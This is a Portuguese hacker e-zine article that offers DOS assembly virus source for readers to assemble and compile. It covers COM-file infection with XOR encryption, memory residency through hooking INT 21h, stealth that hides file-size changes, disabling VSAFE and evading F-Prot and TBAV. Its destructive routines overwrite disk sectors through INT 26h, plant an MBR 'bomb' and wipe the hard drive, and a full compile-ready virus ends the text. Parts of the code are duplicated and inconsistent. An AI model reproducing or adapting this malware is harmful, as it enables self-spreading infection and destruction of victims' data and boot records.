<><><><><><><><><><><><><> 6=#@!Virus!@#=6 by Crazy Devil Ae moada do mal, estou eu aqui pela primeira vez participando da FW na minha opiniao um excelente e-zine hacking hehehehe Eu sou Crazy Devil programo em asm e a pedido do meu camarada Draco escrevi esta metria. Primeiramente vou deixar claro o que eu vou fazer. Vou colocar um modo legal de se fazer vrus em asm como se eu colocasse as "propriedades" e depois vocs montam do jeito que vocs quiserem um vrus esperto dai o resto com vocs. Qualquer lamah comsegue fazer isto pelo fato de o inbecil nao ter que saber nem programar tem apenas que penssar (se que consseguem) Fugindo do anti vrus: Para fugir do anti vrus simples a rea que ele detecta a aao entao s mudar o MB pelo hexadecimal. Em todos os vrus obigatoria colocar a propriedade que tem uma linha de asteriscos no comeo. Compilando o vrus. Voc pode pegar o arquivo TASM.EXE na page da FW ou se preferir pode procura-lo na busca por FTP. CRAZYYYYYYYYYYYYYYY DEVILLLLLLLLLLLLL ============================================================================== |||REPRODUAO||| =============================================================== ****************************************************************************** ; pushf ;colocar o registro pusha ;em stack push si ; push di ; push bp ; push es ; push ds ; ;------------------------------------------------------------- push cs ; pop ds ; mov ax,3524H ;pegue os erros de controle do dos int 21h ;imterrompa mov word ptr error,es ;e coloque em cs:error mov word ptr error+2,bx ; mov ax,2524H ;passe os erros de controle do dos mov dx,offset all ;para o meu "trap mask" int 21h ; ;------------------------------------------------------------- pop ds ; pop es ;refaa os registros pop bp ; pop di ; pop si ; popa ; popf ; ;------------------------------------------------------------- pushf ;coloque o registro pusha ; push si ;Ese tal demonio louco push di ; push bp ;Por Favor push es ;exorsizen-no push ds ; ;------------------------------------------------------------- mov ax,4300h ; int 21h ;pegue o arquivo mov word ptr cs:[attrib],cx ;atributos ;------------------------------------------------------------- mov ax,4301h ;le saco los atributos all xor cx,cx ;arquivo int 21h ; ;------------------------------------------------------------- mov ax,3d02h ;abra o arquivo int 21h ;para ler/escrever mov bx,ax ;bx=handle ;------------------------------------------------------------- mov ax,5700h ; int 21h ;pegue o arquivo da data mov word ptr cs:[hora],cx ;coloque a hora mov word ptr cs:[dia],dx ;coloque o dia and cx,word ptr cs:[fecha] ;calcule os segundos cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) jne seguir ;yes! o arquivo est infectado jmp cerrar ; ;------------------------------------------------------------ seguir: ; mov ax,4202h ;mova pointer para o final call movedor ;do arquivo ;------------------------------------------------------------ push cs ; pop ds ; sub ax,3 ;calcule mov word ptr [cs:largo],ax ;jmp long ;------------------------------------------------------------- mov ax,04200h ;mova pointer para call movedor ;o comeo do arquivo ;---------------------------------------------------------- push cs ; pop ds ;leia tres vezes o byte mov ah,3fh ; mov cx,3 ; lea dx,[cs:real] ;coloque o byte em cs:[real] int 21h ; ;---------------------------------------------------------- cmp word ptr cs:[real],05a4dh ;as duas vezes bytes = 'MZ' ? jne er1 ;yes! um EXE... fuckkk! ;---------------------------------------------------------- jmp cerrar er1: ;---------------------------------------------------------- mov ax,4200h ;mova pointer call movedor ;para o comeo do arquivo ;---------------------------------------------------------- push cs ; pop ds ; mov ah,40h ; mov cx,1 ;escreva o jmp lea dx,[cs:jump] ;instruoes no int 21h ;primeiro byte do arquivo ;---------------------------------------------------------- mov ah,40h ;escreva o valor jmp mov cx,2 ;no arquivo lea dx,[cs:largo] ; int 21h ; ;---------------------------------------------------------- mov ax,04202h ;mova o pointer para call movedor ;o final do arquivo ;---------------------------------------------------------- push cs ; pop ds ;moa o codigo push cs ;do meu vrus pop es ;para cs:end+50 cld ;para encryptar mov si,100h ; mov di,offset fin + 50 ; mov cx,offset fin - 100h ; rep movsb ; ;---------------------------------------------------------- mov cx,offset fin mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus enc: ; xor byte ptr cs:[di],1 ;encryptar o virus inc di ;codigo loop enc ; ;--------------------------------------------------------- mov cx,offset fin mov di,offset fin + 50 + (offset crypt - offset start) ;virus mov dx,1 enc2: ; dec word ptr [di] xor byte ptr [di],063h not byte ptr [di] dec byte ptr [di] inc di inc di ;codigo do vrus loop enc2 ; ;-------------------------------------------- mov ah,40h ; mov cx,offset fin - offset start ;copie o vrus mov dx,offset fin + 50 ;para o final do arquivo int 21h ; ;---------------------------------------------------------- cerrar: ; ;refaa a mov ax,5701h ;data e tempo mov cx,word ptr cs:[hora] ;do arquivo mov dx,word ptr cs:[dia] ; or cx,word ptr cs:[fecha] ;e marque segundos int 21h ; ;---------------------------------------------------------- mov ah,3eh ; int 21h ;feche o arquivo ;---------------------------------------------------------- pop ds ; pop es ;refaa os pop bp ;registros pop di ; pop si ; popa ; popf ; ;---------------------------------------------------------- pusha ; ; mov ax,4301h ;refaa os atributos mov cx,word ptr cs:[attrib] ;do arquivo int 21h ; ; popa ; ;---------------------------------------------------------- pushf ; pusha ; 8-( = f-prot push si ; push di ; 8-( = tbav push bp ; push es ; 8-) = I'm push ds ; ;---------------------------------------------------------- mov ax,2524H ; lea bx,error ;refaa os erros handler mov ds,bx ; lea bx,error+2 ; int 21h ; ;---------------------------------------------------------- pop ds ; pop es ; pop bp ;refaa os registros pop di ; pop si ; popa ; popf ; ;---------------------------------------------------------- JMP A3 ;jmp to orig. INT 21 ; =============================================================== ============================================================================== ============================================================================== |||CAINDO NA MEMORIA RESIDENTE||| ============================================================== mov ax,3521h int 21h ;modostore em int 21 vetor mov word ptr [bp+int21],bx ;no cs:int21 mov word ptr [bp+int21+2],es ; ;--------------------------------------------------------------- push cs ; pop ax ;ax = meu atual seguimento dec ax ;dec meu seguimentopaa olhar meu MCB mov es,ax ; mov bx,es:[3] ;ler #3 byte no meu MCB =total usando ;memoria ;--------------------------------------------------------------- push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;subrair a margem do ;meu virus sub bx,17 + offset fin ;e 100H do PSP total mov ah,4ah ;usando memoria int 21h ;coloque novo valor para MCB ;--------------------------------------------------------------- mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;requerer a memoria para um fuck DOS! ;--------------------------------------------------------------- dec ax ;ax=novo seguimento mov es,ax ;ax-1= novo seguimento MCB mov byte ptr es:[1],8 ;colocar '8' n seguimento ;-------------------------------------------------------------- inc ax ; mov es,ax ;es = novo seguimento lea si,[bp + offset start] ;si = comear o vrus mov di,100h ;di = 100H (posiao do psp) mov cx,offset fin - start ;cx = lag no virus push cs ; pop ds ;ds = cs cld ;mover o codigo rep movsb ;ds:si >> es:di ;-------------------------------------------------------------- mov dx,offset virus ;dx = novo int21 handler mov ax,2521h ; push es ; pop ds ; int 21h ;set em vetores ;------------------------------------------------------------- pum2: ; ; mov ah,byte ptr [cs:bp + real] ;refaa o 3 mov byte ptr cs:[100h],ah ;primeiro bytes mov ax,word ptr [cs:bp + real + 1] ; mov word ptr cs:[101h],ax ; ;------------------------------------------------------------- mov ax,100h ; jmp ax ;jmp para executar ; ============================================================== ============================================================================== ============================================================================== |||REA DE SUB ROTINAS||| ============================================================== ****************************************************************************** ; movedor: ; ; xor cx,cx ;use para mover arquivo pointer xor dx,dx ; int 21h ; ret ; ;---------------------------------------------------------- all: ; ; XOR AL,AL ;use para set iret ;em error flag ============================================================= ============================================================================== ============================================================================== |||DATA REA||| ============================================================= ****************************************************************************** largo dw ? jump db 0e9h real db 0cdh,20h,0 hora dw ? dia dw ? attrib dw ? int21 dd ? error dd ? ;--------------------------------- action: ; MOV AH,2AH ; INT 21H ;pegue a data CMP Dl,byte ptr cs:[action_dia+bp] ;esta equaao do meu dia? JE cont ;no! fuck cmp byte ptr cs:[action_dia+bp],32 ; jne no_day ; cont: ; cmp dh,byte ptr cs:[action_mes+bp] ;esta a equaao do meu ms? je set ; cmp byte ptr cs:[action_mes+bp],13 ; jne NO_DAY ;no! fuck set: ; mov ah,0dh ; int 21h ;reset no disco mov al,2 ; mov cx,0ffffh ; mov dx,0 ; int 26h ;fuck os setores ffffh mov ah,0dh ;reste no disco int 21h ; mov al,2 ; mov cx,0ffffh ; mov dx,0ffffh ;new fuck+ int 26h ;heheheh!!! NO_DAY: ; ret ; ;--------------------------------- MBR: ============================================================= ============================================================================== ============================================================================== |||COMEAR A ESCREVER MBR-BOMB||| ============================================================ mov ax,9f80h ;muita memoria mov es,ax ;bom para buffer mov ax,0201h ;leia o original mov cx,0001h ;MBR no disco mov dx,0080h ; xor bx,bx ;para buffer 9f80:0000h int 13h ; push cs ; pop ds ; mov ax,9f80h ;adicionar minha MBR-BOMB mov es,ax ;o MBR real em meu mov si,offset fat ;buffer xor di,di ; mov cx,105 ;ds:[fat]=>9f80:0000h repe movsb ;total 105bytes mov ax,9f80h ; mov es,ax ; xor bx,bx ;repaa o original mov ax,0301h ;MBR no disco para a xor ch,ch ;nova MBR-BOMB. mov dx,0080h ; mov cl,1 ;CUIDADO! VSAFE/MSAVE mov bx,0 ;NOTIFICOU ESTA AAO ACTION int 13h ; ret ; ============================================================= ============================================================================== ============================================================================== |||COMEAR OS CODIGOS MBR||| ============================================================ fat: ; cli ;# xor ax,ax ;# mov ss,ax ;# mov sp,7C00h ;# mov si,sp ;# push ax ;# pop es ;# push ax ;# pop ds ;# sti ;# ;# pushf ;# push ax ;# push cx ;# = Este codigo faz o push dx ;# original MBR push ds ;# (NAO MODIFIQUE) push es ;# MOV AH,04H ; Leia o tempo real INT 1AH ; Relgio CMP DH,cs:byte ptr action_mes ; o M6es? JE CAGO ; yes! SNIF SNIF HD. lit: pop es pop ds pop dx pop cx pop ax popf jmp booti CAGO: ============================================================= ============================================================================== ============================================================================== |||COMEAR OS CODIGOS DESTRUTIVOS||| ============================================================ rip_hd: ;@ xor dx, dx ;@ rip_hd1: ;@ mov cx, 2 ;@ mov ax, 311h ;@ mov dl, 80h ;@ mov bx, 5000h ;@ mov es, bx ;@ int 13h ;@ jae rip_hd2 ;@ xor ah, ah ;@ int 13h ;@ rip_hd2: ;@ inc dh ;@ cmp dh, 4 ;@ jb rip_hd1 ;@ inc ch ;@ jmp rip_hd ============================================================= ============================================================================== ============================================================================== |||FINALIZAR OS CODIGOS DESTRUTIVOS||| ============================================================ booti: xor ax,ax ;# mov es,ax ;# mov bx,7c00h ;# mov ah,02 ;# mov al,1 ;# mov cl,1 ;# #= Este codigo faz o original mov ch,0 ;# MBR mov dh,1 ;# (NAO MODIFIQUE) mov dl,80h ;# ;# int 13h ;# ;# db 0eah,00,7ch,00,00 ;# ============================================================= ============================================================================== ============================================================================== |||FINAL DOS CODIGOS MBR||| ============================================================ ;--------------------------------- TRASH_RN: ; MOV AH,2DH ; INT 21H ;PEGUE A DATA CMP Dl,6 ; =6 (RAN 0-99) jne NO_DAYY ;no! fuck mov ah,0dh ; int 21h ;reset o disco mov al,2 ; mov cx,0ffffh ; mov dx,0 ; int 26h ;fuck os setores ffffh mov ah,0dh ;resete o disco int 21h ; mov al,2 ; mov cx,0ffffh ; mov dx,0ffffh ;new fuck+ int 26h ;heheheh!!! NO_DAYY: ; ret ; ;--------------------------------- ;--------------------------------- ANTI_V: ; MOV AX,0FA01H ;REMOVA VSAFE DA MEMORIA MOV DX,5945H ; INT 21H ; ret ; ;--------------------------------- ;***************************************************** dir_s: pushf push cs call a3 ;Pegue arquivo Stats test al,al ;Bom FCB? jnz no_good ;no push ax push bx push es mov ah,51h ;Este Undocumentadd? huh... int 21h mov es,bx cmp bx,es:[16h] jnz not_infected mov bx,dx mov al,[bx] push ax mov ah,2fh ;Pegue arquivo DTA int 21h pop ax inc al jnz fcb_okay add bx,7h fcb_okay: mov ax,es:[bx+17h] and ax,1fh ;UnMask a Segunda Field xor al,byte ptr cs:fechad jnz not_infected and byte ptr es:[bx+17h],0e0h sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Sim menos ;virus size sbb es:[bx+1fh],ax not_infected:pop es pop bx pop ax no_good: iret ============================================================= ============================================================================== ============================================================================== |||FINAL DO CODIGOS VRUS||| ============================================================ ****************************************************************************** action_dia Db 020H ;dia para agir action_mes Db 0dH ;ms da aao FECHA DW 01eH ;Secon for mark FECHAd Db 01eH ;Secon for mark dir st fin: code ends end start ============================================================= ============================================================================== Este um vrus que eu fiz para a FW. ----------------Corta .286 code segment assume cs:code,ds:code org 100h start: CALL NEXT NEXT: mov di,sp ;faa stack em pointer location mov bp,ss:[di] ;faa "DELTA HANDLE" para meu virus sub bp,offset next ;subtraia o codigo grande deste cdigo cmp byte ptr cs:[crypt],0b9h ; a primeira vez? je crypt2 ;sim! nao decrypt ;---------------------------------------------------------- mov cx,offset fin ;cx = totalidade do vrus lea di,[offset crypt]+ bp ;di = primeiro byte para decriptar mov dx,1 ;dx = valor para decriptar ;---------------------------------------------------------- deci: ;deci = fuck! ;---------------------------------------------------------- inc di inc di ;---------------------------------------------------------- jmp bye ;######## TCHAU TCHAU F-PROT ! ########## mov ah,4ch int 21h bye: ;#### HA APENAS UM JMP!!### ;----------------------------------------------------------- mov ah,0bh ;######### TCHAU TCHAU TBAV ! ########## int 21h ;### ### ;---------------------------------------------------------- loop deci ;repita por favor! ; ; crypt: ;fuck! ; mov cx,offset fin ;cx = totalidade do virus lea di,[offset crypt2] + bp ;di = primeiro byte para decryptar ;--------------------------------------------------------------- deci2: ; xor byte ptr cs:[di],1 ;decrytion rotina inc di ;muito simples... loop deci2 ; ;--------------------------------------------------------------- crypt2: ;fuck! ; MOV AX,0CACAH ;fale para residente interromper mask INT 21H ;checar "Eu estou residente?" CMP Bh,0CAH ; igual para CACA? JE PUM2 ;yes! pule para rodar o programa call action mov ax,3521h int 21h ;store o int 21 vectors mov word ptr [bp+int21],bx ;em cs:int21 mov word ptr [bp+int21+2],es ; ;--------------------------------------------------------------- push cs ; pop ax ;ax = meu atual segmento dec ax ;dec meu segmento para olhar meu MCB mov es,ax ; mov bx,es:[3] ;leia o #3 byte do meu MCB =toatal de ;memoria usada ;--------------------------------------------------------------- push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;sbtraia a mergem do meu virus sub bx,17 + offset fin ;e 100Hdo PSP total mov ah,4ah ;memoria usada int 21h ;coloque novo valor para MCB ;--------------------------------------------------------------- mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;requerir memoria para fuder o DOS! ;--------------------------------------------------------------- dec ax ;ax=novo seguimento mov es,ax ;ax-1= novo seguimento MCB mov byte ptr es:[1],8 ;coloque '8' no segmento ;-------------------------------------------------------------- inc ax ; mov es,ax ;es = novo seguimento lea si,[bp + offset start] ;si = comear o vrus mov di,100h ;di = 100H (posiao psp) mov cx,offset fin - start ;cx = totalidade do virus push cs ; pop ds ;ds = cs cld ;mova o codigo rep movsb ;ds:si >> es:di ;-------------------------------------------------------------- mov dx,offset virus ;dx = novo int21 handler mov ax,2521h ; push es ; pop ds ; int 21h ;set vectors ;------------------------------------------------------------- pum2: ; ; mov ah,byte ptr [cs:bp + real] ;refaa o terceiro byte mov byte ptr cs:[100h],ah ; mov ax,word ptr [cs:bp + real + 1] ; mov word ptr cs:[101h],ax ; ;------------------------------------------------------------- mov ax,100h ; jmp ax ;jmp para executar ; ; VIRUS: ; ; cmp ah,4bh ; uma funao 4b? je REPRODUCCION ;yes! pule para reproduao ! cmp ah,11h je dir cmp ah,12h je dir dirsal: cmp AX,0CACAH ; uma funao caca?(resident chek) jne a3 ;no! pule para a3 a3 mov bh,0cah ;yes! pule para bh a3: ; JMP dword ptr CS:[INT21] ;jmp para int 21h ret ; dir: jmp dir_s ;------------------------------------------------------------- REPRODUCCION: ; ; pushf ;coloque o registro pusha ;no stack push si ; push di ; push bp ; push es ; push ds ; ;------------------------------------------------------------- push cs ; pop ds ; mov ax,3524H ;pegue os erros de controlo do DO int 21h ;interrompa mov word ptr error,es ;e coloque em cs:error mov word ptr error+2,bx ; mov ax,2524H ;controle de erros do DOS para o meu mov dx,offset all ;"trap mask" int 21h ; ;------------------------------------------------------------- pop ds ; pop es ;refaa o registro pop bp ; pop di ; pop si ; popa ; popf ; mov ax,4300h ; int 21h ;pegue o arquivo mov word ptr cs:[attrib],cx ;atributos ;------------------------------------------------------------- mov ax,4301h ;todos os atributos do arquivo xor cx,cx ; int 21h ; ;------------------------------------------------------------- mov ax,3d02h ;abrir o arquivo int 21h ;para ler e escrever mov bx,ax ;bx=handle ;------------------------------------------------------------- mov ax,5700h ; int 21h ;pegue o arquivo da data mov word ptr cs:[hora],cx ;pegue o arquivo da hora mov word ptr cs:[dia],dx ;pegue o dia and cx,word ptr cs:[fecha] ;calcule os segundos cmp cx,word ptr cs:[fecha] ; igual para 58? (DEDICATE TO N-POX) jne seguir ;yes! o arquivo esta infectado! jmp cerrar ; ;------------------------------------------------------------ seguir: ; mov ax,4202h ;mova pointer para o final do aqruivo call movedor ; ;------------------------------------------------------------ push cs ; pop ds ; sub ax,3 ;calcule o mov word ptr [cs:largo],ax ;jmp long ;------------------------------------------------------------- mov ax,04200h ;mova pointer para o comeo do arquivo call movedor ; ;---------------------------------------------------------- push cs ; pop ds ;leia trs vezes o bytes mov ah,3fh ; mov cx,3 ; lea dx,[cs:real] ;coloque os bytes em cs:[real] int 21h ; ;---------------------------------------------------------- cmp word ptr cs:[real],05a4dh ;os dois primeiros bytes = 'MZ' ? jne er1 ;yes! um EXE... fuckkk! ;---------------------------------------------------------- jmp cerrar er1: ;---------------------------------------------------------- mov ax,4200h ;mova o pointer para o comeo do aqruivo call movedor ; ;---------------------------------------------------------- push cs ; pop ds ; mov ah,40h ; mov cx,1 ;escreva o JMP lea dx,[cs:jump] ;instruao no primeiro byte do arquivo int 21h ; ;---------------------------------------------------------- mov ah,40h ;escreva o valor de jmp mov cx,2 ;no arquivo lea dx,[cs:largo] ; int 21h ; ;---------------------------------------------------------- mov ax,04202h ;mova pointer para o final do arquivo call movedor ; ;---------------------------------------------------------- push cs ; pop ds ;mova o codigo push cs ;do meu vrus pop es ;para cs:end+50 cld ;para encryptar mov si,100h ; mov di,offset fin + 50 ; mov cx,offset fin - 100h ; rep movsb ; ;---------------------------------------------------------- mov cx,offset fin mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus enc: ; xor byte ptr cs:[di],1 ;encrypta o codigo do vrus inc di ; loop enc ; ;--------------------------------------------------------- mov cx,offset fin mov di,offset fin + 50 + (offset crypt - offset start) ;virus mov dx,1 enc2: ; inc di inc di ;codigo do vrus loop enc2 ; ;-------------------------------------------- mov ah,40h ; mov cx,offset fin - offset start ;copie o virus para o final do arquivo mov dx,offset fin + 50 ; int 21h ; ;---------------------------------------------------------- cerrar: ; ;refaa a data mov ax,5701h ;e o tempo do arquivo mov cx,word ptr cs:[hora] ; mov dx,word ptr cs:[dia] ; or cx,word ptr cs:[fecha] ;e marque os segundos int 21h ; ;---------------------------------------------------------- mov ah,3eh ; int 21h ;feche o arquivo ;---------------------------------------------------------- pop ds ; pop es ;refaa o registro pop bp ; pop di ; pop si ; popa ; popf ; ;---------------------------------------------------------- pusha ; ; mov ax,4301h ;refaa os atributos do arquivo mov cx,word ptr cs:[attrib] ; int 21h ; ; popa ; ;---------------------------------------------------------- pushf ; pusha ; 8-( = f-prot push si ; push di ; 8-( = tbav push bp ; push es ; 8-) = I'm push ds ; ;---------------------------------------------------------- mov ax,2524H ; lea bx,error ;refaa os mov ds,bx ;erros handler lea bx,error+2 ; int 21h ; ;---------------------------------------------------------- pop ds ; pop es ; pop bp ;refaa os registros pop di ; pop si ; popa ; popf ; ;---------------------------------------------------------- JMP A3 ;jmp to orig. INT 21 ; ; movedor: ; ; xor cx,cx ;use para mover arquiv pointer xor dx,dx ; int 21h ; ret ; ;---------------------------------------------------------- all: ; ; XOR AL,AL ;use para um set iret ;error flag largo dw ? jump db 0e9h real db 0cdh,20h,0 hora dw ? dia dw ? attrib dw ? int21 dd ? error dd ? ;--------------------------------- action: ;chama label MOV AH,2AH ; INT 21H ;pegar data CMP Dl,byte ptr cs:[action_dia+bp] ; igual ao meu dia? JE cont ;nop! fuck ret cmp byte ptr cs:[action_dia+bp],32 ; jne no_day ; cont: ; cmp dh,byte ptr cs:[action_mes+bp] ; igual ao meu ms? je set ; cmp byte ptr cs:[action_mes+bp],13 ; jne NO_DAY ;nop! fuck ret set: ; mov AH,9 ;yeah!! MOV DX,OFFSET PAO ;mostre meu texto! INT 21H ;agora! INT 20H ;acabe o programa NO_DAY: ;data incorreta ret ;retorne a chamada ;--------------------------------- PAO: DB 10,13,'FUCK FUCK ALL CONSTITUITION FUCKER WORLD!!!!!!!!!!!','$' ;-------------; Dir_S: ; jmp dirsal ; no_Good:iret ; ;-------------; action_dia Db 020H ;day for the action action_mes Db 0dH ;month for the action FECHA DW 06H ;Secon for mark FECHAd Db 06H ;Secon for mark dir st fin: code ends end start ---------------------Corta isto ai halera fico por aqui espero poder escrever muito mais matrias sobre ASM para a FW s estou esperando o Draco me chamar. Valeu a todos vocs at a proxima (se que eu vou voltar). <><><><><><><><><><><><><>